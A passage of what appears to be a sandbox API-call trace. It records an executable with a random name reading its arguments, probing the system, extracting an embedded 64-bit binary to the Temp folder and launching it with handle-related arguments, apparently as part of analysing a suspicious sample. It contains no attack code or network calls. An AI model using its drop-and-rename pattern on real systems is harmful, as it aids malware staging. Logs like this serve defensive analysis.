(HeapHandle=0x500000, Flags=0x8, Size=0x800) returned 0x5164a0 [0134.558] GetStartupInfoW (in: lpStartupInfo=0x18fed8 | out: lpStartupInfo=0x18fed8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x40ad42, hStdOutput=0x82baa41c, hStdError=0x0)) [0134.558] GetStdHandle (nStdHandle=0xfffffff6) returned 0x3 [0134.558] GetFileType (hFile=0x3) returned 0x2 [0134.559] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0134.559] GetFileType (hFile=0x7) returned 0x2 [0134.559] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0134.559] GetFileType (hFile=0xb) returned 0x2 [0134.559] GetCommandLineW () returned="bv6ncK8c.exe -accepteula -c -y -p handles -nobanner" [0134.560] GetEnvironmentStringsW () returned 0x516ca8* [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0xb7e) returned 0x517830 [0134.560] FreeEnvironmentStringsW (penv=0x516ca8) returned 1 [0134.560] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x426ea0, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x88) returned 0x516ca8 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xa0) returned 0x516d38 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3e) returned 0x5183d0 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x6c) returned 0x516de0 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x6e) returned 0x516e58 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x78) returned 0x50f8d8 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x62) returned 0x516ed0 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2e) returned 0x516f40 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x48) returned 0x516f78 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x22) returned 0x516fc8 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x28) returned 0x516ff8 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1a) returned 0x515a88 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x4a) returned 0x517028 [0134.560] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x72) returned 0x50f958 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x30) returned 0x517080 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2e) returned 0x5170b8 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1c) returned 0x515ab0 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0xd2) returned 0x5170f0 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x7c) returned 0x5171d0 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x36) returned 0x517258 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3a) returned 0x518418 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x90) returned 0x517298 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x24) returned 0x517330 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x30) returned 0x517360 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x36) returned 0x517398 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x48) returned 0x5173d8 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x52) returned 0x517428 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3c) returned 0x518460 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x18) returned 0x517488 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x82) returned 0x5174a8 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2e) returned 0x517538 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x1e) returned 0x515ad8 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2c) returned 0x517570 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x54) returned 0x5175a8 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x52) returned 0x517608 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x2a) returned 0x517668 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x3c) returned 0x5184a8 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x54) returned 0x5176a0 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x24) returned 0x517700 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x30) returned 0x517730 [0134.561] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x8c) returned 0x517768 [0134.561] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517830 | out: hHeap=0x500000) returned 1 [0134.562] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x800) returned 0x517800 [0134.562] GetLastError () returned 0x0 [0134.562] SetLastError (dwErrCode=0x0) [0134.562] GetLastError () returned 0x0 [0134.562] SetLastError (dwErrCode=0x0) [0134.562] GetLastError () returned 0x0 [0134.562] SetLastError (dwErrCode=0x0) [0134.562] GetACP () returned 0x4e4 [0134.562] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x220) returned 0x518008 [0134.562] GetLastError () returned 0x0 [0134.562] SetLastError (dwErrCode=0x0) [0134.562] IsValidCodePage (CodePage=0x4e4) returned 1 [0134.562] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fecc | out: lpCPInfo=0x18fecc) returned 1 [0134.562] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f994 | out: lpCPInfo=0x18f994) returned 1 [0134.562] GetLastError () returned 0x0 [0134.562] SetLastError (dwErrCode=0x0) [0134.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0134.562] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f9a8 | out: lpCharType=0x18f9a8) returned 1 [0134.562] GetLastError () returned 0x0 [0134.562] SetLastError (dwErrCode=0x0) [0134.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.562] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0134.562] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0134.562] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256 [0134.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x18fca8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x8c¥º\x82äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0134.563] GetLastError () returned 0x0 [0134.563] SetLastError (dwErrCode=0x0) [0134.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0134.563] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fda8, cbMultiByte=256, lpWideCharStr=0x18f6f8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0134.563] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0134.563] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x18f4e8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256 [0134.563] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x18fba8, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ\x8c¥º\x82äþ\x18", lpUsedDefaultChar=0x0) returned 256 [0134.563] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x8, Size=0x80) returned 0x518230 [0134.563] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0134.563] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x40f584) returned 0x0 [0134.563] RtlSizeHeap (HeapHandle=0x500000, Flags=0x0, MemoryPointer=0x518230) returned 0x80 [0134.563] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0134.563] GetProcAddress (hModule=0x76e10000, lpProcName="IsWow64Process") returned 0x76e2195e [0134.564] GetCurrentProcess () returned 0xffffffff [0134.564] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18ff34 | out: Wow64Process=0x18ff34) returned 1 [0134.564] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fd28, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bv6ncK8c.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bv6nck8c.exe")) returned 0x32 [0134.564] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x18fb20, nSize=0x104 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0134.564] FindResourceW (hModule=0x0, lpName="RCHANDLE64", lpType="BINRES") returned 0x476060 [0134.564] LoadResource (hModule=0x0, hResInfo=0x476060) returned 0x43c648 [0134.564] SizeofResource (hModule=0x0, hResInfo=0x476060) returned 0x37490 [0134.564] LockResource (hResData=0x43c648) returned 0x43c648 [0134.564] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x18) returned 0x5182b8 [0134.564] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\bv6ncK8c64.exe" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x18f95c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0134.565] GetLastError () returned 0x20 [0134.565] GetLastError () returned 0x20 [0134.565] SetLastError (dwErrCode=0x20) [0134.565] GetLastError () returned 0x20 [0134.565] SetLastError (dwErrCode=0x20) [0134.565] GetLastError () returned 0x20 [0134.565] SetLastError (dwErrCode=0x20) [0134.565] GetLastError () returned 0x20 [0134.565] SetLastError (dwErrCode=0x20) [0134.565] RtlAllocateHeap (HeapHandle=0x500000, Flags=0x0, Size=0x1000) returned 0x519800 [0134.565] GetLastError () returned 0x20 [0134.565] SetLastError (dwErrCode=0x20) [0134.565] GetLastError () returned 0x20 [0134.565] SetLastError (dwErrCode=0x20) [0134.565] GetLastError () returned 0x20 [0134.566] SetLastError (dwErrCode=0x20) [0134.566] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x18e38c | out: lpMode=0x18e38c) returned 1 [0134.566] WriteFile (in: hFile=0x7, lpBuffer=0x18ea68*, nNumberOfBytesToWrite=0x49, lpNumberOfBytesWritten=0x18e394, lpOverlapped=0x0 | out: lpBuffer=0x18ea68*, lpNumberOfBytesWritten=0x18e394*=0x49, lpOverlapped=0x0) returned 1 [0134.568] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x517800 | out: hHeap=0x500000) returned 1 [0134.568] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x18fedc | out: phModule=0x18fedc) returned 0 [0134.569] ExitProcess (uExitCode=0x1) [0134.569] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x5160b8 | out: hHeap=0x500000) returned 1 Process: id = "244" image_name = "bv6nck8c64.exe" filename = "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\bv6nck8c64.exe" page_root = "0x76d62000" os_pid = "0xc58" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "242" os_parent_pid = "0x594" cmd_line = "bv6ncK8c.exe -accepteula \"msoeres.dll.mui\" -nobanner" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 857 os_tid = 0xbbc [0134.751] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12ff38 | out: lpSystemTimeAsFileTime=0x12ff38*(dwLowDateTime=0xf38ffba0, dwHighDateTime=0x1d5d06a)) [0134.751] GetCurrentThreadId () returned 0xbbc [0134.751] GetCurrentProcessId () returned 0xc58 [0134.751] QueryPerformanceCounter (in: lpPerformanceCount=0x12ff40 | out: lpPerformanceCount=0x12ff40*=27670345544) returned 1 [0134.752] GetProcessHeap () returned 0x330000 [0134.753] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76f20000 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName=0x1400212e0) returned 0x76f37190 [0134.754] GetProcAddress (hModule=0x76f20000, lpProcName="FlsFree") returned 0x76f315b0 [0134.754] GetProcAddress (hModule=0x76f20000, 